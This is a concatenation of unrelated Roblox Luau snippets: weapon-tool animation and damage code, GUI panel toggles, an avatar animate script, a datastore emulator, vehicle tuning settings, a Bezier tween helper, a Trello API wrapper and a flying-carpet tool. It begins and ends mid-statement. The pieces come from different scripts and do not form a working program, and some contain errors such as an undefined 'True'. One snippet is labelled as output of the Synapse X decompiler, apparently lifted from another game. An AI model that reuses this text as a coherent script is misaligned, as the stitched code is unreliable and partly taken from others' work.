objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end end;
--Viewmodel
if Module.VMIdleAnimationID ~= nil then local VMIdleAnim = Instance.new("Animation",Tool) VMIdleAnim.Name = "VMIdleAnim" VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID end if Module.VMFireAnimationID ~= nil then local VMFireAnim = Instance.new("Animation",Tool) VMFireAnim.Name = "VMFireAnim" VMFireAnim.AnimationId = "rbxassetid://"..Module.VMFireAnimationID end if Module.VMReloadAnimationID ~= nil then local VMReloadAnim = Instance.new("Animation",Tool) VMReloadAnim.Name = "VMReloadAnim" VMReloadAnim.AnimationId = "rbxassetid://"..Module.VMReloadAnimationID end if Module.VMShotgunClipinAnimationID ~= nil then local VMShotgunClipinAnim = Instance.new("Animation",Tool) VMShotgunClipinAnim.Name = "VMShotgunClipinAnim" VMShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunClipinAnimationID end if Module.VMShotgunPumpinAnimationID ~= nil then local VMShotgunPumpinAnim = Instance.new("Animation",Tool) VMShotgunPumpinAnim.Name = "VMShotgunPumpinAnim" VMShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunPumpinAnimationID end if Module.VMHoldDownAnimationID ~= nil then local VMHoldDownAnim = Instance.new("Animation",Tool) VMHoldDownAnim.Name = "VMHoldDownAnim" VMHoldDownAnim.AnimationId = "rbxassetid://"..Module.VMHoldDownAnimationID end if Module.VMEquippedAnimationID ~= nil then local VMEquippedAnim = Instance.new("Animation",Tool) VMEquippedAnim.Name = "VMEquippedAnim" VMEquippedAnim.AnimationId = "rbxassetid://"..Module.VMEquippedAnimationID end if Module.SecondaryFireAnimationEnabled and Module.VMSecondaryFireAnimationID ~= nil then local VMSecondaryFireAnim = Instance.new("Animation",Tool) VMSecondaryFireAnim.Name = "VMSecondaryFireAnim" VMSecondaryFireAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryFireAnimationID end if Module.VMSecondaryShotgunPump and Module.VMSecondaryShotgunPumpinAnimationID ~= nil then local VMSecondaryShotgunPumpinAnim = Instance.new("Animation",Tool) VMSecondaryShotgunPumpinAnim.Name = "VMSecondaryShotgunPumpinAnim" VMSecondaryShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryShotgunPumpinAnimationID end if Module.TacticalReloadAnimationEnabled and Module.VMTacticalReloadAnimationID ~= nil then local VMTacticalReloadAnim = Instance.new("Animation",Tool) VMTacticalReloadAnim.Name = "VMTacticalReloadAnim" VMTacticalReloadAnim.AnimationId = "rbxassetid://"..Module.VMTacticalReloadAnimationID end if Module.InspectAnimationEnabled and Module.VMInspectAnimationID ~= nil then local VMInspectAnim = Instance.new("Animation",Tool) VMInspectAnim.Name = "VMInspectAnim" VMInspectAnim.AnimationId = "rbxassetid://"..Module.VMInspectAnimationID end if Module.ShotgunReload and Module.PreShotgunReload and Module.VMPreShotgunReloadAnimationID ~= nil then local VMPreShotgunReloadAnim = Instance.new("Animation",Tool) VMPreShotgunReloadAnim.Name = "VMPreShotgunReloadAnim" VMPreShotgunReloadAnim.AnimationId = "rbxassetid://"..Module.VMPreShotgunReloadAnimationID end if Module.VMMinigunRevUpAnimationID ~= nil then local VMMinigunRevUpAnim = Instance.new("Animation",Tool) VMMinigunRevUpAnim.Name = "VMMinigunRevUpAnim" VMMinigunRevUpAnim.AnimationId = "rbxassetid://"..Module.VMMinigunRevUpAnimationID end if Module.VMMinigunRevDownAnimationID ~= nil then local VMMinigunRevDownAnim = Instance.new("Animation",Tool) VMMinigunRevDownAnim.Name = "VMMinigunRevDownAnim" VMMinigunRevDownAnim.AnimationId = "rbxassetid://"..Module.VMMinigunRevDownAnimationID end if Module.ChargingAnimationEnabled and Module.VMChargingAnimationID ~= nil then local VMChargingAnim = Instance.new("Animation",Tool) VMChargingAnim.Name = "VMChargingAnim" VMChargingAnim.AnimationId = "rbxassetid://"..Module.VMChargingAnimationID end if Module.SelectiveFireEnabled and Module.VMSwitchAnimationID ~= nil then local VMSwitchAnim = Instance.new("Animation",Tool) VMSwitchAnim.Name = "VMSwitchAnim" VMSwitchAnim.AnimationId = "rbxassetid://"..Module.VMSwitchAnimationID end if Module.BatteryEnabled and Module.VMOverheatAnimationID ~= nil then local VMOverheatAnim = Instance.new("Animation",Tool) VMOverheatAnim.Name = "VMOverheatAnim" VMOverheatAnim.AnimationId = "rbxassetid://"..Module.VMOverheatAnimationID end if Module.MeleeAttackEnabled and Module.VMMeleeAttackAnimationID ~= nil then local VMMeleeAttackAnim = Instance.new("Animation") VMMeleeAttackAnim.Name = "VMMeleeAttackAnim" VMMeleeAttackAnim.AnimationId = "rbxassetid://"..Module.VMMeleeAttackAnimationID VMMeleeAttackAnim.Parent = Tool end ChangeMagAndAmmo.OnServerEvent:Connect(function(Player, Mag, Ammo, Heat) MagValue.Value = Mag AmmoValue.Value = Ammo HeatValue.Value = Heat end) InflictTargetMelee.OnServerInvoke = function(Player, ClientModule, TargetHumanoid, TargetTorso, Damage, Misc, Critical, Hit) _G.SecureSettings(Player, Tool, ClientModule) --Second layer local TrueDamage = (Hit and Hit.Name == "Head" and Damage[2]) and Damage[1] * Damage[3] or Damage[1] if Player then local TargetTEAM = TargetHumanoid.Parent:FindFirstChild("TEAM") local TEAM = Tool.Parent:FindFirstChild("TEAM") local CanDamage = (TEAM and TargetTEAM) and (TargetTEAM.Value ~= TEAM.Value) or DamageModule.CanDamage(TargetHumanoid.Parent, Player) if TargetHumanoid and TargetHumanoid.Health ~= 0 and TargetTorso and CanDamage then while TargetHumanoid:FindFirstChild("creator") do TargetHumanoid.creator:Destroy() end local creator = Instance.new("ObjectValue",TargetHumanoid) creator.Name = "creator" creator.Value = Player Debris:AddItem(creator, 5) if Critical[1] then local CriticalChanceRandom = Random.new():NextInteger(0, 100) if CriticalChanceRandom <= Critical[2] then TargetHumanoid:TakeDamage(math.abs(TrueDamage * Critical[3])) else TargetHumanoid:TakeDamage(math.abs(TrueDamage)) end else TargetHumanoid:TakeDamage(math.abs(TrueDamage)) end if Misc[1] > 0 then --knockback local Shover = Character.HumanoidRootPart or Character.Head local Duration = 0.1 local Speed = Misc[1] / Duration local Velocity = (TargetTorso.Position - Shover.Position).Unit * Speed local ShoveForce = Instance.new("BodyVelocity") ShoveForce.MaxForce = Vector3.new(1e9, 1e9, 1e9) ShoveForce.Velocity = Velocity ShoveForce.Parent = TargetTorso Debris:AddItem(ShoveForce, Duration) end if Misc[2] > 0 and Character.Humanoid and Character.Humanoid.Health ~= 0 then --lifesteal Character.Humanoid.Health = Character.Humanoid.Health + (TrueDamage * Misc[2]) end if Misc[3] then --affliction local roll = math.random(1, 100) if roll <= Misc[5] then if not TargetHumanoid.Parent:FindFirstChild(Misc[4]) then local Debuff = script:FindFirstChild(Misc[4]):Clone() Debuff.creator.Value = creator.Value Debuff.Parent = TargetHumanoid.Parent Debuff.Disabled = false end end end end else warn("Unable to register damage because player is no longer existing here") end end Tool.Equipped:Connect(function() Player = Players:GetPlayerFromCharacter(Tool.Parent) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") if Module.DualEnabled and Workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand") local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand") if RightArm then local Grip = RightArm:WaitForChild("RightGrip", 0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:Connect(function() if Module.DualEnabled and Workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end)
-- services
local Players = game:GetService("Players") local Workspace = game:GetService("Workspace")
----- Script -----
local function DisableGui (Gift,Daily,Rebirth,Store,Vip,Inventory,CaseStore) GiftFrame.Visible = Gift DailyRewardFrame.Visible = Daily RebirthFrame.Visible = Rebirth StoreFrame.Visible = Store VipFrame.Visible = Vip InventoryFrame.Visible = Inventory CaseStoreFrame.Visible = CaseStore end GiftFrame.Changed:Connect(function() if GiftFrame.Visible == true then DisableGui(true,false,false,false,false,false,false) end end) DailyRewardFrame.Changed:Connect(function() if DailyRewardFrame.Visible == true then DisableGui(false,true,false,false,false,false,false) end end) RebirthFrame.Changed:Connect(function() if RebirthFrame.Visible == true then DisableGui(false,false,true,false,false,false,false) end end) StoreFrame.Changed:Connect(function() if StoreFrame.Visible == true then DisableGui(false,false,false,true,false,false,false) end end) VipFrame.Changed:Connect(function() if VipFrame.Visible == true then DisableGui(false,false,false,false,true,false,false) end end) InventoryFrame.Changed:Connect(function() if InventoryFrame.Visible == true then DisableGui(false,false,false,false,false,true,false) end end) CaseStoreFrame.Changed:Connect(function() if CaseStoreFrame.Visible == true then DisableGui(false,false,false,false,false,false,true) end end)
--[=[ @return boolean Returns `true` if the option has a value. ]=]
function Option:IsSome() return self._s end
-- Insert inside the tool
local tool = script.Parent local anim = Instance.new("Animation") local anim1 = Instance.new("Animation") anim.Name = "IdleAnim" anim.AnimationId = "rbxassetid://YourOwnID" -- Idle Animaton ID anim1.Name = "EquipAnim" anim1.AnimationId = "rbxassetid://YourOwnID"-- Equip Tool Animaton ID local track local track1
-- Decompiled with the Synapse X Luau decompiler.
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local v1 = {}; local u2 = {}; function v1.Get(p1) local v2 = u2[p1]; if v2 then local v3 = v2[1]; local v4 = u1.StatService.Get(v3); if v4 then local v5 = v4.Pets[v2[2]]; if v5 and v5.uid == p1 then return v5, v3; end; end; end; for v6, v7 in pairs(game.Players:GetPlayers()) do local v8 = u1.StatService.Get(v7); if v8 then for v9, v10 in ipairs(v8.Pets) do if not v9 then break; end; if v10.uid == p1 then u2[p1] = { v7, v9 }; return v10, v7, v8; end; end; end; end; end; function v1.AllEquipped(p2) local v12 = {}; for v13, v14 in ipairs(u1.StatService.Get(p2).Pets) do if not v13 then break; end; if v14.e then table.insert(v12, v14); end; end; return v12; end; function v1.GetNowStrength(p3) local v16 = u1.StatService.Get(p3); if not v16 then return; end; local v17 = 0; for v18, v19 in ipairs(v16.Pets) do if not v18 then break; end; if v19.e then v17 = v17 + v19.em; end; end; return v17; end; function v1.GetBestStrength(p4) local v21 = u1.StatService.Get(p4); if not v21 then return; end; table.sort(v21.Pets, function(p5, p6) if math.abs(p5.em - p6.em) < 1 then return p5.idt < p6.idt; end; return p6.em < p5.em; end); local v22 = 0; local v23 = 0; for v24, v25 in ipairs(v21.Pets) do if not v24 then break; end; if v22 < v21.MaxEquipped then v22 = v22 + 1; v23 = v23 + v25.em; end; end; return v23; end; function v1.AllBestEquipped(p7) if not u1.StatService.Get(p7) then return; end; return v1.GetNowStrength(p7) == v1.GetBestStrength(p7); end; task.defer(function() while task.wait(300) do u2 = {}; end; end); return v1;
-- Do not edit without experience.
function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end game.Players.ChildAdded:connect(onPlayerEntered)
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) if plrData.Character.Injuries.Trauma.Value == true then return true end return false end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 7 -- cooldown for use of the tool again BoneModelName = "Bone cage" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--script.Parent.RemoteEvent.OnServerEvent:Connect(function() -- if debounce == false then -- char["Right Arm"].Touched:Connect(function(part) -- if debounce == false then -- debounce = true -- script.Debounce.Value = true -- if part.Parent.ClassName == "Model" then -- target = part.Parent -- elseif part.Parent.ClassName == "Model" then -- target = part.Parent -- else -- return nil -- end -- -- if target:FindFirstChild("Humanoid") ~= nil then -- target.Humanoid.Health = target.Humanoid.Health - script.Parent.Damage.Value -- return -- end -- end -- wait(script.Parent.Cooldown.Value) -- debounce = false -- script.Debounce.Value = false -- end) -- end --end)
-- humanoidAnimateR15Moods.lua
local Character = script.Parent local Humanoid = Character:WaitForChild("Humanoid") local pose = "Standing" local userNoUpdateOnLoopSuccess, userNoUpdateOnLoopValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNoUpdateOnLoop") end) local userNoUpdateOnLoop = userNoUpdateOnLoopSuccess and userNoUpdateOnLoopValue local userAnimateScaleRunSuccess, userAnimateScaleRunValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserAnimateScaleRun") end) local userAnimateScaleRun = userAnimateScaleRunSuccess and userAnimateScaleRunValue local function getRigScale() if userAnimateScaleRun then return Character:GetScale() else return 1 end end local AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") local HumanoidHipHeight = 2 local EMOTE_TRANSITION_TIME = 0.1 local currentAnim = "" local currentAnimInstance = nil local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local runAnimTrack = nil local runAnimKeyframeHandler = nil local PreloadedAnims = {} local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 }, { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 }, { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 } }, walk = { { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 } }, run = { { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 } }, swim = { { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 } }, swimidle = { { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=2506281703", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=522635514", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=522638767", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=507770239", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=507770453", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=507771019", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507771955", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507772104", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=507776043", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507776720", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507776879", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=507777268", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507777451", weight = 10 }, { id = "http://www.roblox.com/asset/?id=507777623", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=507770818", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=507770677", weight = 10 } }, }
-- METHODS
function CollectiveWorldModel:_getCombinedResults(methodName, ...) local results = workspace[methodName](workspace, ...) if worldModel then local additionalResults = worldModel[methodName](worldModel, ...) for _, result in pairs(additionalResults) do table.insert(results, result) end end return results end function CollectiveWorldModel:GetPartBoundsInBox(cframe, size, overlapParams) return self:_getCombinedResults("GetPartBoundsInBox", cframe, size, overlapParams) end function CollectiveWorldModel:GetPartBoundsInRadius(position, radius, overlapParams) return self:_getCombinedResults("GetPartBoundsInRadius", position, radius, overlapParams) end function CollectiveWorldModel:GetPartsInPart(part, overlapParams) return self:_getCombinedResults("GetPartsInPart", part, overlapParams) end return CollectiveWorldModel
-- fallService:GetFallSignalFor(player, true):Connect(function() -- if player.Character then -- if player.Character:FindFirstChild("Immune") then return end -- miscModule.Ragdoll(player.Character, 1.25) -- DefaultGroup:Disable(player.Character) -- task.delay(1.25, function() -- DefaultGroup:Enable(player.Character) -- end) -- end -- end) --end)
-- Trim empty datastores and scopes from an entire datastore type:
local function prepareDataStoresForExport(origin) local dataPrepared = {} for name, scopes in pairs(origin) do local exportScopes = {} for scope, data in pairs(scopes) do local exportData = {} for key, value in pairs(data) do exportData[key] = value end if next(exportData) ~= nil then -- Only export datastore when non-empty exportScopes[scope] = exportData end end if next(exportScopes) ~= nil then -- Only export scope list when non-empty dataPrepared[name] = exportScopes end end if next(dataPrepared) ~= nil then -- Only return datastore type when non-empty return dataPrepared end end local function preprocessKey(key) if type(key) == "number" then if key ~= key then return "NAN" elseif key >= math.huge then return "INF" elseif key <= -math.huge then return "-INF" end return tostring(key) end return key end local function accurateWait(dt) dt = math.max(0, dt) local left = dt while left > 0 do left = left - RunService.Heartbeat:Wait() end return dt - left end local function simulateYield() if Constants.YIELD_TIME_MAX > 0 then accurateWait(rand:NextNumber(Constants.YIELD_TIME_MIN, Constants.YIELD_TIME_MAX)) end end local function simulateErrorCheck(method) if Constants.SIMULATE_ERROR_RATE > 0 and rand:NextNumber() <= Constants.SIMULATE_ERROR_RATE then simulateYield() error(method .. " rejected with error (simulated error)", 3) end end
-- Workspace elements
local Checkpoints = workspace:WaitForChild("Checkpoints")
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 80 -- 1 - 100% Tune.RDiffLockThres = 20 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = True -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
-- tweens a given object in the path made by the Bezier (position only) -- works for any object that has the properties given by the property table
function Bezier:CreateVector3Tween(object: Instance | {[any]: any}, propertyTable: {any}, bezierTweenInfo: TweenInfo, RelativeToLength: boolean?): Tween -- check if there are enough points to calculate a position within the Bezier if #self.Points == 0 then error("Bezier:CreateVector3Tween() only works if there is at least 1 BezierPoint in the Bezier!") end -- check if the object given is a valid object if typeof(object) ~= "Instance" and typeof(object) ~= "table" then error("Bezier:CreateVector3Tween() requires an Instance or a table as the first argument!") end -- check if the bezierTweenInfo given is a TweenInfo object if not (typeof(bezierTweenInfo) == "TweenInfo") then error("Bezier:CreateVector3Tween() requires a TweenInfo object as the third argument!") end -- check if the object given has the vector3 properties given local success, foundProperties = pcall(function() local foundProperties = true for _, propertyName in pairs(propertyTable) do if typeof(object[propertyName]) ~= "Vector3" and typeof(object[propertyName]) ~= "nil" then foundProperties = false break end end return foundProperties end) -- check if the properties were found if success and foundProperties then local tweenService = game:GetService("TweenService") local numValue = Instance.new("NumberValue") local tween = tweenService:Create(numValue, bezierTweenInfo, {Value = 1}) local numValueChangedConnection tween.Changed:Connect(function(prop) if prop == "PlaybackState" then local playbackState = tween.PlaybackState if playbackState == Enum.PlaybackState.Playing then numValueChangedConnection = numValue.Changed:Connect(function(t) for _, propName in pairs(propertyTable) do object[propName] = RelativeToLength and self:CalculatePositionRelativeToLength(t) or self:CalculatePositionAt(t) end end) else if numValueChangedConnection then numValueChangedConnection:Disconnect() numValueChangedConnection = nil end end end end) return tween else error("Bezier:CreateVector3Tween() requires a matching property table with Vector3 or nil property names for the object as the second argument!") end end
--[[ Made by Sceleratis Trello API Documentation: https://trello.com/docs/ --]]
local http = game:service("HttpService") function checkHttp() local y,n = pcall(function() local get = http:GetAsync('http://trello.com') end) if y and not n then return true else return false,n end end function decode(str) return http:JSONDecode(str) end function encode(str) return http:JSONEncode(str) end function urlEncode(str) return http:UrlEncode(str) end function httpGet(url) return http:GetAsync(url,true) end function httpPost(url,data,type) return http:PostAsync(url,data,type) end function trim(str) return str:match("^%s*(.-)%s*$") end function getListObj(list,name) for i,v in pairs(list) do if trim(v.name)==trim(name) then return v end end end function Trello(appKey, token) local Status,Message = checkHttp() if not Status then return false,Message end local appKey = appKey or "" local token = token or "" local base = "https://api.trello.com/1/" local toks = "key="..appKey.."&token="..token local api api = { http = http; getListObj = getListObj; checkHttp = checkHttp; urlEncode = urlEncode; encode = encode; decode = decode; httpGet = httpGet; httpPost = httpPost; trim = trim; epochToHuman = function(epoch) return decode(httpGet("http://www.convert-unix-time.com/api?timestamp="..epoch.."&returnType=json&format=iso8601")).utcDate end; getBoard = function(boardId) return decode(httpGet(api.getUrl("boards/"..boardId))) end; getLists = function(boardId) return decode(httpGet(api.getUrl("boards/"..boardId.."/lists"))) end; getList = function(boardId, name) local lists = api.getLists(boardId) return getListObj(lists,name) end; getCards = function(listId) return decode(httpGet(api.getUrl("lists/"..listId.."/cards"))) end; getCard = function(listId, name) local cards=api.getCards(listId) return getListObj(cards,name) end; getComments = function(cardId) return decode(httpGet(api.getUrl("cards/"..cardId.."/actions?filter=commentCard"))) end; delComment = function(cardId, comId) -- No PUT/DELETE :( (?) end; makeComment = function(cardId, text) return decode(httpPost(api.getUrl("cards/"..cardId.."/actions/comments"),"&text="..urlEncode(text),2)) end; getCardField = function(cardId,field) return decode(httpGet(api.getUrl("cards/"..cardId.."/"..field))) end; -- http://prntscr.com/923fmw getBoardField = function(boardId,field) return decode(httpGet(api.getUrl("boards/"..boardId.."/"..field))) end; -- http://prntscr.com/923gq3 getListField = function(listId,field) return decode(httpGet(api.getUrl("lists/"..listId.."/"..field))) end; -- http://prntscr.com/923uyb getLabel = function(boardId,name) local labels = api.getBoardField(boardId,"labels") return getListObj(labels,name) end; makeCard = function(listId,name,desc,extra) local extra = extra or "" return decode(httpPost(api.getUrl("lists/"..listId.."/cards"),"&name="..urlEncode(name).."&desc="..urlEncode(desc)..extra,2)) end; makeList = function(boardId,name,extra) local extra = extra or "" return decode(httpPost(api.getUrl("boards/"..boardId.."/lists"),"&name="..urlEncode(name)..extra,2)) end; doAction = function(method,subUrl,data) if method:lower()=="post" then return decode(httpPost(api.getUrl(subUrl),data,2)) elseif method:lower()=="get" then return decode(httpGet(api.getUrl(subUrl))) end end; getUrl = function(str) local toks=toks if str:find("?") then toks="&"..toks else toks="?"..toks end return base..str..toks end; } return api end return Trello --[[ --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- -- -- ___________ .__ .__ \__ ___/______ ____ | | | | ____ | | \_ __ \_/ __ \| | | | / _ \ | | | | \/\ ___/| |_| |_( <_> ) |____| |__| \___ >____/____/\____/ \/ ___________ .__ .___ \_ _____/_____ |__|__ ___ | | ____ ____ | __)_\____ \| \ \/ / | |/ \_/ ___\ | \ |_> > |> < | | | \ \___ /_______ / __/|__/__/\_ \ |___|___| /\___ > /\ \/|__| \/ \/ \/ \/ -------------------------------------------------------- Epix Incorporated. Not Everything is so Black and White. -------------------------------------------------------- ______ ______ ______ __ ______ ______ ______ ______ __ ______ /\ ___\/\ ___\/\ ___\/\ \ /\ ___\/\ == \/\ __ \/\__ _/\ \/\ ___\ \ \___ \ \ \___\ \ __\\ \ \___\ \ __\\ \ __<\ \ __ \/_/\ \\ \ \ \___ \ \/\_____\ \_____\ \_____\ \_____\ \_____\ \_\ \_\ \_\ \_\ \ \_\\ \_\/\_____\ \/_____/\/_____/\/_____/\/_____/\/_____/\/_/ /_/\/_/\/_/ \/_/ \/_/\/_____/ --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- --_____________________________________________________________________________________________________________________-- -- -- ]]
--[=[ Schedules a sustained shake to stop. This works by setting the `Sustain` field to `false` and letting the shake effect fade out based on the `FadeOutTime` field. ]=]
function Shake:StopSustain() local now = self.TimeFunction() self.Sustain = false self.SustainTime = (now - self._startTime) - self.FadeInTime end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RemovalMonitor = script:WaitForChild("RemovalMonitor") CarpetPieces = { {MeshId = 223079795, Angle = 160}, {MeshId = 223079835, Angle = 100}, {MeshId = 223079888, Angle = 100}, {MeshId = 223079981, Angle = 160}, } CarpetSize = Vector3.new(3, 0.5, 6.5) BaseUrl = "http://www.roblox.com/asset/?id=" Rate = (1 / 10) BasePart = Instance.new("Part") BasePart.Material = Enum.Material.Plastic BasePart.Shape = Enum.PartType.Block BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true ColorPart = BasePart:Clone() ColorPart.Name = "ColorPart" ColorPart.Reflectance = 0.25 ColorPart.Transparency = 0.1 ColorPart.Material = Enum.Material.SmoothPlastic ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.Size = Vector3.new(1, 1, 1) ColorPart.Anchored = true ColorPart.CanCollide = false ColorMesh = Instance.new("SpecialMesh") ColorMesh.Name = "Mesh" ColorMesh.MeshType = Enum.MeshType.FileMesh ColorMesh.MeshId = (BaseUrl .. "9856898") ColorMesh.TextureId = (BaseUrl .. "1361097") ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick. ColorMesh.Offset = Vector3.new(0, 0, 0) ColorMesh.VertexColor = Vector3.new(1, 1, 1) ColorMesh.Parent = ColorPart ColorLight = Instance.new("PointLight") ColorLight.Name = "Light" ColorLight.Brightness = 50 ColorLight.Range = 8 ColorLight.Shadows = false ColorLight.Enabled = true ColorLight.Parent = ColorPart RainbowColors = { Vector3.new(1, 0, 0), Vector3.new(1, 0.5, 0), Vector3.new(1, 1, 0), Vector3.new(0, 1, 0), Vector3.new(0, 1, 1), Vector3.new(0, 0, 1), Vector3.new(0.5, 0, 1) } Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, SitR15 = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } Grips = { Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0), Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008) } Flying = false ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool Handle.Transparency = 0 Tool.Grip = Grips.Normal Tool.Enabled = true function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function TransformModel(Objects, Center, NewCFrame, Recurse) local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects) for i, v in pairs(Objects) do if v:IsA("BasePart") then v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame)) end if Recurse then TransformModel(v:GetChildren(), Center, NewCFrame, true) end end end function Weld(Parent, PrimaryPart) local Parts = {} local Welds = {} local function WeldModel(Parent, PrimaryPart) for i, v in pairs(Parent:GetChildren()) do if v:IsA("BasePart") then if v ~= PrimaryPart then local Weld = Instance.new("Weld") Weld.Name = "Weld" Weld.Part0 = PrimaryPart Weld.Part1 = v Weld.C0 = PrimaryPart.CFrame:inverse() Weld.C1 = v.CFrame:inverse() Weld.Parent = PrimaryPart table.insert(Welds, Weld) end table.insert(Parts, v) end WeldModel(v, PrimaryPart) end end WeldModel(Parent, PrimaryPart) return Parts, Welds end function CleanUp() for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end end function CreateRainbow(Length) local RainbowModel = Instance.new("Model") RainbowModel.Name = "RainbowPart" for i, v in pairs(RainbowColors) do local Part = ColorPart:Clone() Part.Name = "Part" Part.Size = Vector3.new(0.5, 0.5, Length) Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0) Part.Mesh.Scale = (Part.Size * 2) Part.Mesh.VertexColor = v Part.Light.Color = Color3.new(v.X, v.Y, v.Z) Part.Parent = RainbowModel end local RainbowBoundingBox = BasePart:Clone() RainbowBoundingBox.Name = "BoundingBox" RainbowBoundingBox.Transparency = 1 RainbowBoundingBox.Size = RainbowModel:GetModelSize() RainbowBoundingBox.Anchored = true RainbowBoundingBox.CanCollide = false RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame() RainbowBoundingBox.Parent = RainbowModel return RainbowModel end function GetRainbowModel() local ModelName = (Player.Name .. "'s Rainbow") local Model = game:GetService("Workspace"):FindFirstChild(ModelName) if not Model then Model = Instance.new("Model") Model.Name = ModelName local RemovalMonitorClone = 